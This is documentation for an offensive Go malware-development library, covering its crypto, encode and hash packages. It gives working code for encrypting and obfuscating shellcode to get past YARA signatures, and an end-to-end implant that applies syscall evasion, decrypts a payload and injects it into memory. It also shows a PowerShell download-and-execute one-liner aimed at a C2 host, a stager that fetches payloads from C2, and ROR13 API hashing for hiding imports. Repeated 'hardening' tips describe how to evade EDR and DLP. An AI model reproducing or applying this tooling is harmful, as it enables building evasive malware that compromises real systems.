Build-time: encrypt with AES-256-GCM (or XChaCha20-Poly1305), optionally wrap in 1–2 lightweight obfuscation layers, embed in the implant. Runtime: decrypt → wipe key → inject → wipe plaintext.

Packages

PackageTech pageDetectionOne-liner
cryptopayload-encryption.mdvery-quietAEAD (AES-GCM, ChaCha20), stream/block (RC4, TEA, XTEA), signature-breaking transforms (S-Box, Matrix, XOR, ArithShift)

The package mixes three layers; the technique page documents each layer separately.

Quick decision tree

You want to…Use
…encrypt the outer payload envelopecrypto.EncryptAESGCM (preferred) or crypto.EncryptChaCha20
…generate a sane keycrypto.NewAESKey / crypto.NewChaCha20Key
…break a YARA byte signature without changing semanticscrypto.NewSBox + SubstituteBytes
…add a tiny in-process unpacker stagecrypto.EncryptXTEA
…diffuse byte patterns across a block (Hill cipher)crypto.MatrixTransform
…match a legacy Metasploit handlercrypto.EncryptRC4 (cryptographically broken — compatibility only)
…compute SHA-256 / MD5 / ROR13hash package
…Base64 / UTF-16LE / PowerShell-encodeencode package

MITRE ATT&CK

T-IDNamePackagesD3FEND counter
T1027Obfuscated Files or Informationcrypto (XOR, TEA, S-Box, Matrix, ArithShift)D3-SEA (Static Executable Analysis)
T1027.013Encrypted/Encoded Filecrypto (AES-GCM, ChaCha20, RC4)D3-FCR (File Content Rules)

See also

Payload encryption & obfuscation

← crypto index · docs/index

TL;DR

Three-tier toolkit: AEAD ciphers (AES-GCM, XChaCha20-Poly1305) for the outer envelope; lightweight stream/block ciphers (RC4, TEA, XTEA) for in-process unpackers; signature-breaking permutations (S-Box, Matrix Hill, ArithShift, XOR) to defeat YARA byte patterns. Pure Go, no CGo, cross-platform.

Pick the primitive

Side-by-side. Pick the row whose tradeoffs match the deployment context, then click through to the API Reference for that function.

PrimitiveLayerSpeedEntropy profileKeyNonce / IVAuthenticatedReversibleStatic signatureBest for
AES-GCMAEAD outerfast (AES-NI)uniform high (256 bits)32 B12 B random✅ tagyeslow (random)Default outer envelope; tampering detection mandatory.
XChaCha20-Poly1305AEAD outerfastuniform high32 B24 B random✅ tagyeslowAES-NI absent; misuse-resistant nonce (24 B random ≈ unique).
RC4Streamvery fastuniform5–256 BnoneyesYARA: keystream biasCheap unpacker between layers; never as outer envelope.
TEABlock (64-bit)very fastuniform16 Bnone (ECB)yeslowTiny block primitive when binary footprint matters.
XTEABlock (64-bit)very fastuniform16 Bnone (ECB)yeslowSame as TEA but with corrected key schedule.
XORStreamtrivialmatches key lengthanyimplicityesYARA: visible keyDev / scratch only; never alone in production.
S-Box (substitute)Permutationvery fastuniform when keyed256-byte tablenoneyes (Reverse*)breaks byte-frequency YARALayer between AES-GCM and embed to flatten histograms.
Matrix HillPermutationmedium (per-row)uniform4×4 / 8×8 matrixnoneyesbreaks contiguous-byte YARADefeat contiguous-byte signatures; pair with S-Box.
ArithShiftPermutationvery fastnon-uniform1–4 BnoneyeslowCheap layer that produces non-uniform entropy — masks an AES blob's "looks-random" tell.

How to read the matrix:

  • Authenticated = does the cipher detect tampering on decrypt? Only the AEAD ciphers do; everything else returns "decrypted" garbage on bit-flips. Always run an AEAD as the outermost layer if integrity matters.
  • Static signature = how visible the cipher choice is to a YARA scanner. Permutations break histogram / contiguous-byte rules; AEAD ciphers leave no static fingerprint at all (output is random).
  • Speed is qualitative. For multi-MB payloads, prefer AES-GCM (AES-NI) or XChaCha20-Poly1305 — the rest allocate per call.

Composition pattern (build → embed → runtime):

plaintext
  ↓ EncryptAESGCM(key)              [outer AEAD, uniform output]
  ↓ SubstituteBytes(table)          [S-Box: flatten histogram]
  ↓ MatrixTransform(M)              [break contiguous bytes]
  ↓ ArithShift(k)                   [non-uniform entropy mask]
ciphertext bytes embedded into the implant

Reverse on the runtime side: ReverseArithShiftReverseMatrixTransformReverseSubstituteBytesDecryptAESGCM. Always wipe the key buffer with memory.SecureZero immediately after DecryptAESGCM returns.

Primer

Static signatures are the cheapest defender win. A raw shellcode buffer sitting in a binary's .data section gets matched by a four-byte YARA rule before it ever runs. Encryption breaks that match by replacing the plaintext with high-entropy gibberish derivable only with the key.

The crypto package layers three protection levels. The outer envelope uses an authenticated cipher (AEAD) — anything else risks an attacker tampering with the ciphertext to redirect execution. The stream/block layer is for tiny in-process unpackers where AES-GCM is overkill but a passable cipher is still wanted. The transform layer mutates byte distribution without giving cryptographic confidentiality — useful when the goal is breaking signatures rather than hiding intent.

The package is pure Go, has no CGo dependencies, cross-compiles to Linux/Windows/macOS targets, and avoids syscalls entirely (every operation is a constant-time arithmetic transform on a buffer).

How it works

flowchart LR
    SC[raw shellcode] -->|build time| ENC[crypto.EncryptAESGCM]
    ENC --> STAGE1[ciphertext + nonce]
    STAGE1 -.optional.-> WRAP[crypto.EncryptXTEA + SubstituteBytes]
    WRAP --> EMBED["go:embed in implant"]
    EMBED -->|runtime| LOAD[load embedded blob]
    LOAD --> UNWRAP1[ReverseSubstituteBytes + DecryptXTEA]
    UNWRAP1 --> DEC[crypto.DecryptAESGCM]
    DEC --> WIPE_K[memory.SecureZero AES key]
    WIPE_K --> EXEC[inject.Inject]
    EXEC --> WIPE_P[memory.SecureZero plaintext]

Build-time: encrypt with AEAD, optionally wrap in cheaper layers. Runtime: peel layers in reverse, wipe the key the moment the AEAD Open returns, inject, wipe the plaintext.

AES-GCM internals

sequenceDiagram
    participant App as "Implant"
    participant Pkg as "crypto"
    participant Std as "crypto/aes + cipher"

    App->>Pkg: EncryptAESGCM(key, plaintext)
    Pkg->>Std: aes.NewCipher(key) -- 32 bytes
    Pkg->>Std: cipher.NewGCM(block)
    Pkg->>Std: rand.Read(nonce) -- 12 bytes
    Pkg->>Std: gcm.Seal(nonce, nonce, plaintext, nil)
    Std-->>Pkg: nonce ++ ciphertext ++ tag
    Pkg-->>App: combined output

    App->>Pkg: DecryptAESGCM(key, combined)
    Pkg->>Pkg: nonce = first 12 bytes of combined
    Pkg->>Std: gcm.Open(nil, nonce, rest, nil)
    Note over Std: Verifies the 16-byte tag<br>before returning plaintext
    Std-->>Pkg: plaintext or ErrAuthFailed
    Pkg-->>App: plaintext

The 12-byte random nonce is prepended to the output, so callers do not manage nonces. Re-encrypting the same plaintext yields a different ciphertext every time.

TEA / XTEA round equation

64 rounds, 32-bit half-blocks, 128-bit key:

$$ \begin{aligned} \text{sum} &\mathrel{+}= \delta \ v_0 &\mathrel{+}= ((v_1 \ll 4) + k_0) \oplus (v_1 + \text{sum}) \oplus ((v_1 \gg 5) + k_1) \ v_1 &\mathrel{+}= ((v_0 \ll 4) + k_2) \oplus (v_0 + \text{sum}) \oplus ((v_0 \gg 5) + k_3) \end{aligned} $$

with $\delta = \texttt{0x9E3779B9}$ (golden ratio constant). XTEA fixes TEA's equivalent-key weakness by mixing the round counter into the key schedule, but the structure is the same.

Matrix (Hill cipher mod 256)

For an $n \times n$ key matrix $K$ over $\mathbb{Z}_{256}$ with $\gcd(\det K, 256) = 1$, encryption operates per $n$-byte block $\vec{p}$:

$$ \vec{c} = K \vec{p} \mod 256 $$

NewMatrixKey(n) searches random matrices until one is invertible mod 256. The inverse is precomputed and returned alongside.

API Reference

NewAESKey() ([]byte, error)

godoc

Generate a fresh 32-byte AES-256 key from crypto/rand.

Returns:

  • []byte — 32 random bytes suitable as input to EncryptAESGCM.
  • error — wraps crypto/rand failure (extremely rare, OS entropy exhaustion).

Side effects: none — pure call into the OS CSPRNG.

OPSEC: invisible. Reads RtlGenRandom / BCryptGenRandom on Windows.

EncryptAESGCM(key, plaintext []byte) ([]byte, error)

godoc

AES-256-GCM AEAD encryption with a fresh random 12-byte nonce.

Parameters:

  • key — 32 bytes (AES-256). Shorter or longer keys return an error.
  • plaintext — payload to encrypt; any length, including zero.

Returns:

  • []bytenonce ‖ ciphertext ‖ tag (12 + len(plaintext) + 16 bytes).
  • error — invalid key length or crypto/rand failure.

Side effects: allocates len(plaintext) + 28 bytes.

OPSEC: very-quiet. Pure userland arithmetic.

DecryptAESGCM(key, ciphertext []byte) ([]byte, error)

godoc

Inverse of EncryptAESGCM. Extracts the prepended nonce, verifies the GCM tag, returns the plaintext.

Parameters:

  • key — same 32-byte key used to encrypt.
  • ciphertext — output of EncryptAESGCM (must be at least 28 bytes).

Returns:

  • []byte — original plaintext.
  • error — invalid key length, ciphertext too short, or authentication-tag failure (tampering or wrong key).

NewChaCha20Key() ([]byte, error)

godoc

Generate a fresh 32-byte XChaCha20-Poly1305 key.

EncryptChaCha20(key, plaintext []byte) ([]byte, error)

godoc

XChaCha20-Poly1305 AEAD encryption with a fresh random 24-byte nonce.

Parameters: key 32 bytes; plaintext any length.

Returns: nonce ‖ ciphertext ‖ tag (24 + len(plaintext) + 16 bytes).

OPSEC: very-quiet. Prefer over AES-GCM on targets without AES-NI (older CPUs, ARM) — pure ChaCha20 is faster there.

DecryptChaCha20(key, ciphertext []byte) ([]byte, error)

godoc

Inverse of EncryptChaCha20.

EncryptRC4(key, data []byte) ([]byte, error)

godoc

RC4 stream cipher. Symmetric — call again to decrypt.

[!CAUTION] RC4 is cryptographically broken (biased keystream, related-key attacks). The only legitimate use case in this package is matching Metasploit's rc4 payload format on the handler side.

Parameters: key 1–256 bytes; data any length.

Returns: XORed buffer (same length as input).

XORWithRepeatingKey(data, key []byte) ([]byte, error)

godoc

XOR each byte of data with the cyclic key. Symmetric.

Parameters: data any length; key ≥ 1 byte (zero-length returns an error).

Returns: XORed buffer.

OPSEC: very-quiet but trivially reversible if any plaintext is known. Use only as a layer atop an AEAD.

EncryptTEA(key [16]byte, data []byte) ([]byte, error)

godoc

TEA block cipher (8-byte block, 64 rounds). PKCS#7-padded.

Parameters: key exactly 16 bytes; data any length (padded internally).

Returns: ciphertext, length rounded up to the next multiple of 8.

[!WARNING] TEA has an equivalent-key weakness — every key has three "siblings" that produce the same ciphertext. Prefer XTEA for new code.

DecryptTEA(key [16]byte, data []byte) ([]byte, error)

godoc

Inverse of EncryptTEA. Strips PKCS#7 padding.

EncryptXTEA(key [16]byte, data []byte) ([]byte, error)

godoc

XTEA block cipher — TEA with a fixed key schedule. Same block size and round count.

DecryptXTEA(key [16]byte, data []byte) ([]byte, error)

godoc

Inverse of EncryptXTEA.

NewSBox() (sbox [256]byte, inverse [256]byte, err error)

godoc

Generate a random byte permutation and its inverse. Use as a non-linear mixing layer between cryptographic stages.

Returns: the forward and inverse permutation tables, plus crypto/rand errors.

SubstituteBytes(data []byte, sbox [256]byte) []byte

godoc

Apply the S-Box byte-by-byte. Pair with ReverseSubstituteBytes to undo.

ReverseSubstituteBytes(data []byte, inverse [256]byte) []byte

godoc

Inverse of SubstituteBytes.

NewMatrixKey(n int) (key, inverse [][]byte, err error)

godoc

Generate a random invertible $n \times n$ matrix mod 256. Searches until $\gcd(\det K, 256) = 1$.

Parameters: n ∈ {2, 3, 4}.

Returns: key matrix, inverse matrix, error for invalid n or search exhaustion.

MatrixTransform(data []byte, key [][]byte) ([]byte, error)

godoc

Hill-cipher block transform mod 256. Each $n$-byte block becomes $K\vec{p} \mod 256$. PKCS#7-padded.

ReverseMatrixTransform(data []byte, inverse [][]byte) ([]byte, error)

godoc

Inverse Hill-cipher transform.

ArithShift(data, key []byte) ([]byte, error)

godoc

Position-dependent byte add (mod 256). Adds key[i % len(key)] + i to each byte. Defeats simple frequency analysis that XOR doesn't.

ReverseArithShift(data, key []byte) ([]byte, error)

godoc

Inverse of ArithShift.

Examples

Simple

key, _ := crypto.NewAESKey()
ct, _ := crypto.EncryptAESGCM(key, []byte("shellcode goes here"))
pt, _ := crypto.DecryptAESGCM(key, ct)

See ExampleEncryptAESGCM and ExampleEncryptChaCha20 in crypto_example_test.go for runnable variants.

Composed (with cleanup/memory for key wiping)

Decrypt the embedded blob, wipe the key the moment Open returns, run the payload, wipe the plaintext:

import (
    "github.com/oioio-space/maldev/cleanup/memory"
    "github.com/oioio-space/maldev/crypto"
)

shellcode, err := crypto.DecryptAESGCM(aesKey, encryptedPayload)
if err != nil {
    return err
}
memory.SecureZero(aesKey)

// ... use shellcode ...
memory.SecureZero(shellcode)

Advanced (XTEA + S-Box layered packer)

A two-stage in-process unpacker. The outer S-Box defeats YARA rules that look at byte distribution; the inner XTEA round destroys whatever structure leaks through.

import "github.com/oioio-space/maldev/crypto"

// Build time
var xteaKey [16]byte
_, _ = crypto.NewSBox() // warm CSPRNG
sbox, inv, _ := crypto.NewSBox()
copy(xteaKey[:], aesKeyMaterial[:16])

stage1, _ := crypto.EncryptXTEA(xteaKey, shellcode)
packed   := crypto.SubstituteBytes(stage1, sbox)

// Embed `packed` + `xteaKey` + `inv` in the implant.

// Runtime
unsbox  := crypto.ReverseSubstituteBytes(packed, inv)
orig, _ := crypto.DecryptXTEA(xteaKey, unsbox)

Complex (full encrypt → evade → inject → wipe chain)

End-to-end implant body. Apply syscall evasion first, decrypt the payload, wipe the key, inject through an indirect-syscall caller, wipe the plaintext.

import (
    "github.com/oioio-space/maldev/cleanup/memory"
    "github.com/oioio-space/maldev/crypto"
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/inject"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

var (
    encrypted []byte // //go:embed payload.aes
    aesKey    []byte // //go:embed key.bin
)

func run() error {
    caller := wsyscall.New(wsyscall.MethodIndirect,
        wsyscall.Chain(wsyscall.NewHellsGate(), wsyscall.NewHalosGate()))
    _ = evasion.ApplyAll(preset.Stealth(), caller)

    shellcode, err := crypto.DecryptAESGCM(aesKey, encrypted)
    if err != nil {
        return err
    }
    memory.SecureZero(aesKey)

    inj, err := inject.NewWindowsInjector(&inject.WindowsConfig{
        Config:        inject.Config{Method: inject.MethodCreateThread},
        SyscallMethod: wsyscall.MethodIndirect,
    })
    if err != nil {
        return err
    }
    if err := inj.Inject(shellcode); err != nil {
        return err
    }
    memory.SecureZero(shellcode)
    return nil
}

OPSEC & Detection

ArtefactWhere defenders look
High-entropy .data / .rdata sectionCompile-time YARA entropy >= 7.5, ML classifiers (PE byte histograms)
Decrypt routine signatureStatic unpacker fingerprints (e.g. aes.NewCipher followed by cipher.NewGCM from a non-go-tooling-built binary)
Plaintext shellcode in process memory after decryptEDR memory scans (Defender's AMSI-like for native code, MDE Live Response)
Long-lived AES key in heapYARA scanning of process RWX/RW pages — wipe immediately after Open

D3FEND counters:

  • D3-SEA — static executable analysis defeats high-entropy sections via unpacker emulation.
  • D3-PSA — process-spawn analysis catches decrypt-then-execute patterns.
  • D3-FCR — YARA over .data after unpacker emulation.

Hardening: wipe keys before injection (cleanup/memory.SecureZero); chunk decryption + injection across cache lines so plaintext does not sit in RWX longer than a few microseconds; pair with sleep-masking (evasion/sleepmask) for long-running implants.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1027Obfuscated Files or Informationobfuscation transforms (XOR, TEA, S-Box, Matrix, ArithShift)D3-SEA
T1027.013Encrypted/Encoded FileAEAD ciphers (AES-GCM, ChaCha20) and stream cipher (RC4)D3-FCR

Limitations

  • Key distribution unsolved. This package does not embed, derive, fetch, or rotate keys — it ciphers buffers. A real implant must source the key from somewhere (build-time embed, environment, C2 fetch). The weakest link in any payload-encryption design.
  • Entropy is detectable. A 200 KB high-entropy section in a Go binary is suspicious by itself. Layer with non-uniform transforms (ArithShift) or split into multiple sections for cover.
  • Ephemeral plaintext still touchable. Between decrypt and Inject, the plaintext lives on the Go heap. EDR memory scans (Defender, CrowdStrike) sweep RW pages — wipe the buffer before the next syscall, not after.
  • No streaming API. Every function takes the whole buffer. For multi-MB payloads, allocate carefully — EncryptAESGCM allocates exactly once, but MatrixTransform allocates intermediate row vectors.
  • RC4 broken. Compatibility-only; do not use as the outer envelope.
  • TEA equivalent keys. Three keys decrypt to the same plaintext; prefer XTEA.

See also

Encode techniques

← maldev README · docs/index

The encode/ package provides transport-safe byte transformations: Base64 (standard + URL-safe), UTF-16LE, ROT13, and the PowerShell -EncodedCommand format. Encoding is never confidentiality — it survives channels that mangle arbitrary bytes (HTTP headers, JSON strings, PowerShell command lines, stdin pipes).

TL;DR

flowchart LR
    PT[plaintext] -->|encrypt| ENC[crypto.EncryptAESGCM]
    ENC -->|then encode| B64[encode.Base64Encode]
    B64 --> WIRE[ship over HTTP / JSON / PS]
    WIRE -.unwrap.-> B64D[encode.Base64Decode]
    B64D --> DEC[crypto.DecryptAESGCM]
    DEC --> PAYLOAD[shellcode]

Encrypt first, then encode. Decode last, then decrypt.

Packages

PackageTech pageDetectionOne-liner
encodeencode.mdvery-quietBase64 (std + URL), UTF-16LE, ROT13, PowerShell -EncodedCommand

Quick decision tree

You want to…Use
…embed a binary blob in Go source / JSON / HTTP headerencode.Base64Encode
…pass a payload through a URL or filenameencode.Base64URLEncode
…feed a Windows API that takes UTF-16 LPWSTRencode.ToUTF16LE
…run a PowerShell script via -EncodedCommandencode.PowerShell
…break a static string signature on Win32 API namesencode.ROT13 (novelty)

MITRE ATT&CK

T-IDNamePackagesD3FEND counter
T1027Obfuscated Files or Informationencode (PowerShell, Base64)D3-SEA
T1027.013Encrypted/Encoded Fileencode (Base64 wrapper for ciphertext)D3-FCR
T1140Deobfuscate/Decode Files or Informationencode.Base64Decode, encode.Base64URLDecodeD3-FCR

See also

Encode

← encode index · docs/index

TL;DR

Transport-safe byte transforms: Base64 (RFC 4648 §4 + §5), UTF-16LE, ROT13, and PowerShell -EncodedCommand (Base64(UTF-16LE(script))). Pure functions, no system interaction, cross-platform.

Primer

Encoding solves a different problem from encryption. Many channels cannot transport arbitrary bytes: HTTP headers reject control characters, URLs reject + and /, JSON strings reject zero bytes, command lines on Windows expect UTF-16, and powershell.exe -EncodedCommand accepts only Base64-of-UTF-16LE.

encode covers each of those representations with a one-line API. It is not a security boundary — Base64 is reversible by anyone who reads the output. The pattern in this codebase is encrypt with crypto, then encode for the wire: confidentiality from the cipher, transportability from the encoding.

The package has no Windows-specific code (despite UTF-16LE being Windows' native string format) and cross-compiles cleanly to every Go target.

How it works

flowchart LR
    subgraph build [Build / Encode]
        PT[plaintext] --> ENC[crypto.EncryptAESGCM]
        ENC --> CT[ciphertext]
        CT --> B64[encode.Base64Encode]
    end

    subgraph wire [Channel]
        B64 --> JSON[JSON / HTTP header / URL / PS arg]
    end

    subgraph runtime [Runtime / Decode]
        JSON --> B64D[encode.Base64Decode]
        B64D --> CT2[ciphertext]
        CT2 --> DEC[crypto.DecryptAESGCM]
        DEC --> RUN[plaintext for inject]
    end

PowerShell(script) is a convenience wrapper: Base64Encode(ToUTF16LE(script)) — exactly what powershell.exe -EncodedCommand parses.

API Reference

Base64Encode(data []byte) string

godoc

Encode data as standard Base64 (RFC 4648 §4, padded with =).

Side effects: allocates 4 * ceil(len(data)/3) bytes.

OPSEC: very-quiet. Pure data transform.

Base64Decode(s string) ([]byte, error)

godoc

Decode standard Base64.

Returns: decoded bytes, or error for malformed input.

Base64URLEncode(data []byte) string

godoc

URL-safe Base64 (RFC 4648 §5) — uses - and _ instead of + and /. Safe in URLs, query strings, filenames.

Base64URLDecode(data string) ([]byte, error)

godoc

Inverse of Base64URLEncode.

ToUTF16LE(s string) []byte

godoc

Convert a Go UTF-8 string to little-endian UTF-16 bytes — the format Windows API parameters (LPWSTR) and powershell.exe -EncodedCommand expect.

Returns: byte slice with two bytes per BMP code point (more for supplementary planes).

Side effects: allocates 2 * <utf-16 code unit count> bytes.

PowerShell(script string) string

godoc

Convenience: Base64Encode(ToUTF16LE(script)). Drop the result into powershell.exe -EncodedCommand <output>.

ROT13(s string) string

godoc

Caesar shift by 13 over ASCII letters; non-alpha bytes pass through unchanged. Self-inverse: ROT13(ROT13(x)) == x.

[!CAUTION] ROT13 is not security. Provided for novelty / signature-breaking on ASCII strings (e.g. WinAPI function names in obfuscated source).

Examples

Simple

encoded := encode.Base64Encode([]byte("hello"))
decoded, _ := encode.Base64Decode(encoded)

See ExampleBase64Encode, ExamplePowerShell, ExampleToUTF16LE in encode_example_test.go.

Composed (crypto + encode for HTTP transport)

Encrypt first, then encode for the wire:

import (
    "github.com/oioio-space/maldev/crypto"
    "github.com/oioio-space/maldev/encode"
)

key, _ := crypto.NewAESKey()
ct, _  := crypto.EncryptAESGCM(key, rawShellcode)
wire   := encode.Base64Encode(ct)
// transport `wire` over HTTP / JSON / etc.

// Receiver:
ct2, _ := encode.Base64Decode(wire)
pt, _  := crypto.DecryptAESGCM(key, ct2)

Advanced (PowerShell stager)

Generate a one-liner that downloads and executes a remote script:

script := `IEX (New-Object Net.WebClient).DownloadString('https://c2.example/s')`
arg := encode.PowerShell(script)
// powershell.exe -NoProfile -EncodedCommand <arg>

Complex (encode + crypto + transport)

End-to-end stager that pulls an encrypted payload from C2, decodes, decrypts, injects:

import (
    "io"
    "net/http"

    "github.com/oioio-space/maldev/crypto"
    "github.com/oioio-space/maldev/encode"
    "github.com/oioio-space/maldev/inject"
)

func stage(c2URL string, key []byte) error {
    resp, err := http.Get(c2URL)
    if err != nil { return err }
    defer resp.Body.Close()

    body, err := io.ReadAll(resp.Body)
    if err != nil { return err }

    ct, err := encode.Base64URLDecode(string(body))
    if err != nil { return err }

    shellcode, err := crypto.DecryptAESGCM(key, ct)
    if err != nil { return err }

    inj, err := inject.NewWindowsInjector(&inject.WindowsConfig{
        Config: inject.Config{Method: inject.MethodCreateThread},
    })
    if err != nil { return err }
    return inj.Inject(shellcode)
}

OPSEC & Detection

ArtefactWhere defenders look
Long Base64 string passed to powershell.exe -EncodedCommandSysmon Event 1 (Process Create) command-line scanning, AMSI
Base64 string > 1 KB in HTTP request bodyNetwork DLP, Suricata entropy rules
UTF-16LE blob in a text-typed channelAnomaly: text channels normally see UTF-8
IEX (New-Object Net.WebClient).DownloadString(...) after Base64 decodeSysmon Event 4104 (PowerShell ScriptBlockLogging)

D3FEND counters:

  • D3-SEA — static executable / script analysis.
  • D3-FCR — YARA / regex on decoded content.
  • D3-NTPM — block outbound IEX+Base64 patterns at the proxy.

Hardening: chunk long Base64 across multiple requests; randomise field order; pad with realistic noise tokens before encoding.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1027Obfuscated Files or InformationPowerShell -EncodedCommand wrapper, Base64 wrappersD3-SEA
T1027.013Encrypted/Encoded FileBase64 envelope around encrypted payloadD3-FCR
T1140Deobfuscate/Decode Files or InformationBase64Decode, Base64URLDecodeD3-FCR

Limitations

  • Encoding is not encryption. Base64 is trivially reversible. Always encrypt before encoding for non-public payloads.
  • Entropy spike on the wire. Long Base64 strings are visible to network DLP. Chunk into multiple requests, or use a more selective steganographic carrier.
  • Command-line length cap. powershell.exe -EncodedCommand accepts ~32 KB of Base64. Larger stagers must download then execute, not embed inline.
  • UTF-16LE assumes BMP. Supplementary-plane code points (emoji, CJK extensions) get surrogate pairs — fine for PowerShell but surprises any consumer expecting fixed two-byte units.

See also

Hash techniques

← maldev README · docs/index

The hash/ package supplies three families of hashing primitives: cryptographic (MD5, SHA-1, SHA-256, SHA-512) for integrity and identifiers, API hashing (ROR13 + ROR13Module) for shellcode-style plaintext-free function resolution, and fuzzy hashing (ssdeep, TLSH) for variant detection and similarity scoring.

TL;DR

flowchart TD
    Q{What do you need?} -->|fingerprint a buffer| C[SHA256 / MD5]
    Q -->|resolve a Win32 API by hash| R[ROR13]
    Q -->|find variants of a known sample| F[ssdeep / TLSH]

Packages

PackageTech pageDetectionOne-liner
hashcryptographic-hashes.md · fuzzy-hashing.mdvery-quietMD5/SHA-* (integrity), ROR13 (API hashing), ssdeep + TLSH (similarity)

Quick decision tree

You want to…Use
…identify a payload by contenthash.SHA256
…compute a Windows API name hash for a shellcode resolverhash.ROR13
…compute a module-name hash matching PEB-walk shellcodehash.ROR13Module
…score similarity between two samples (variant detection)hash.SsdeepCompare or hash.TLSHCompare
…screen a directory of suspicious binaries against a known-bad seedsee Advanced example

MITRE ATT&CK

The hash package itself is utility. It is referenced from techniques that consume it:

Used byWhy
win/api.ResolveByHashPlaintext-free Win32 API resolution (T1027.007)
Researcher / hunter workflowsVariant detection, signature defeat measurement
pe/morphBuild-time fingerprint shifting; pair with fuzzy hashing to verify the morph kept the family intact

See also

Cryptographic hashes & ROR13

← hash index · docs/index

TL;DR

One-shot hex-string wrappers around crypto/md5, crypto/sha1, crypto/sha256, crypto/sha512, plus the ROR13 algorithm used by shellcode for plaintext-free Win32 API resolution. Pure Go, cross-platform, no system interaction.

Primer

Two distinct use cases share this file:

The cryptographic wrappers (MD5, SHA1, SHA256, SHA512) exist because Go's stdlib returns [N]byte arrays — convenient for machines, awkward for logs, command-line output, and string-keyed maps. The wrappers compress the boilerplate to one call and produce lower-case hex strings.

ROR13 is the canonical shellcode hash. Implants resolve Win32 APIs without keeping plaintext function names in the binary by walking the PE export directory of a loaded module and comparing each export name's ROR13 hash against precomputed targets. The trailing-null variant ROR13Module matches the convention used to hash module names from LDR_DATA_TABLE_ENTRY.BaseDllName.Buffer. win/api.ResolveByHash consumes both.

The fuzzy hashes (ssdeep, TLSH) live in a separate page — fuzzy-hashing.md.

How it works

Cryptographic hashes

flowchart LR
    DATA[input bytes] --> H{algorithm}
    H -->|MD5| M[16-byte digest]
    H -->|SHA1| S1[20-byte digest]
    H -->|SHA256| S2[32-byte digest]
    H -->|SHA512| S5[64-byte digest]
    M --> HEX[lower-case hex string]
    S1 --> HEX
    S2 --> HEX
    S5 --> HEX

ROR13

flowchart LR
    NAME[function name] --> ITER[for each byte b]
    ITER --> ROT[hash = ror32 hash, 13]
    ROT --> ADD[hash += b]
    ADD --> NEXT{more bytes?}
    NEXT -->|yes| ITER
    NEXT -->|no| OUT[uint32 hash]

ROR13Module adds a trailing null byte to the input, then hashes — mirroring the wide-string traversal a PEB-walk shellcode performs over the unicode BaseDllName.

The arithmetic per byte:

$$ \text{hash}_{i+1} = \big(\text{hash}_i \mathbin{\text{ror}} 13\big) + b_i \mod 2^{32} $$

starting at $\text{hash}_0 = 0$. Pure 32-bit unsigned arithmetic, easy to encode in a few shellcode bytes.

API Reference

MD5(data []byte) string

godoc

Lower-case hex digest of md5.Sum(data). 32 hex characters.

[!CAUTION] MD5 is collision-broken. Use only for non-security identifiers (cache keys, log correlation). Never for integrity checks.

SHA1(data []byte) string

godoc

Lower-case hex digest. 40 hex characters.

[!WARNING] SHA-1 is also collision-broken (SHAttered, 2017). Prefer SHA-256.

SHA256(data []byte) string

godoc

Lower-case hex digest. 64 hex characters. The default integrity hash.

SHA512(data []byte) string

godoc

Lower-case hex digest. 128 hex characters. Use when truncation-resistant output is required.

ROR13(name string) uint32

godoc

Compute the 32-bit ROR13 hash of name. Case-sensitive. Used to match Win32 export names exactly as they appear in the export directory.

Example output: ROR13("LoadLibraryA") == 0xec0e4e8e.

ROR13Module(name string) uint32

godoc

Same as ROR13 but appends a null terminator before hashing — matches the convention that PEB-walk shellcode uses when hashing module names from LDR_DATA_TABLE_ENTRY.BaseDllName.Buffer.

Examples

Simple

fmt.Println(hash.SHA256([]byte("payload")))
// 239f59ed55e737c77147cf55ad0c1b030b6d7ee748a7426952f9b852d5a935e5

fmt.Printf("%#x\n", hash.ROR13("LoadLibraryA"))
// 0xec0e4e8e

See ExampleSHA256, ExampleROR13, ExampleROR13Module in hash_example_test.go.

Composed (precompute API hashes for a resolver)

import "github.com/oioio-space/maldev/hash"

// Precomputed table for the resolver to consume.
var apiHashes = map[string]uint32{
    "LoadLibraryA":    hash.ROR13("LoadLibraryA"),
    "GetProcAddress":  hash.ROR13("GetProcAddress"),
    "VirtualAlloc":    hash.ROR13("VirtualAlloc"),
    "VirtualProtect":  hash.ROR13("VirtualProtect"),
}

Advanced (hash + win/api.ResolveByHash)

import (
    "github.com/oioio-space/maldev/hash"
    "github.com/oioio-space/maldev/win/api"
)

// At runtime — no plaintext "VirtualAlloc" string in the binary.
addr, err := api.ResolveByHash(
    hash.ROR13Module("kernel32.dll"),
    hash.ROR13("VirtualAlloc"),
)

Complex (full resolver bootstrap pipeline)

import (
    "github.com/oioio-space/maldev/hash"
    "github.com/oioio-space/maldev/win/api"
)

type Resolver struct {
    handle uintptr
}

func NewResolver(moduleHash uint32) (*Resolver, error) {
    h, err := api.GetModuleHandleByHash(moduleHash)
    if err != nil { return nil, err }
    return &Resolver{handle: h}, nil
}

func (r *Resolver) Resolve(funcName string) (uintptr, error) {
    return api.GetProcAddressByHash(r.handle, hash.ROR13(funcName))
}

func main() {
    k32, _ := NewResolver(hash.ROR13Module("kernel32.dll"))
    valloc, _ := k32.Resolve("VirtualAlloc")
    _ = valloc
}

OPSEC & Detection

ArtefactWhere defenders look
Hex strings (especially SHA-256-shaped 64-char) in process memoryYARA over RW pages — hash strings are themselves a tell
Constant 0xec0e4e8e-class 32-bit values stored in .rdataStatic analysis: known-API ROR13 hash tables are publicly catalogued (e.g. ror13_hashes.csv from various reversing tools)
Absence of LoadLibraryA / GetProcAddress plaintext in IAT despite using the APIsDefenders flag "no IAT entries for kernel32 but a kernel32 handle is held"
ROR13 resolution loop signature (ror eax, 13; add eax, ebx) in .textCapa, IDA signature plugins, MAEC ML classifiers

D3FEND counters:

  • D3-SEA — static EXE analysis catches the hash table or the ROR13 loop.
  • D3-PSA — flags processes that resolve APIs after a delay (typical of packers).

Hardening: spread API resolution across the binary's lifetime rather than batching at startup; randomise hash constants per build (a salt fed into ROR13's initial state); pair with sleep-masking so the resolved-address table does not sit decrypted in heap.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1027Obfuscated Files or InformationROR13 API hashing — no plaintext API namesD3-SEA
T1027.007Dynamic API ResolutionROR13 resolver patternD3-SEA

The cryptographic hash wrappers themselves are utility — no MITRE mapping.

Limitations

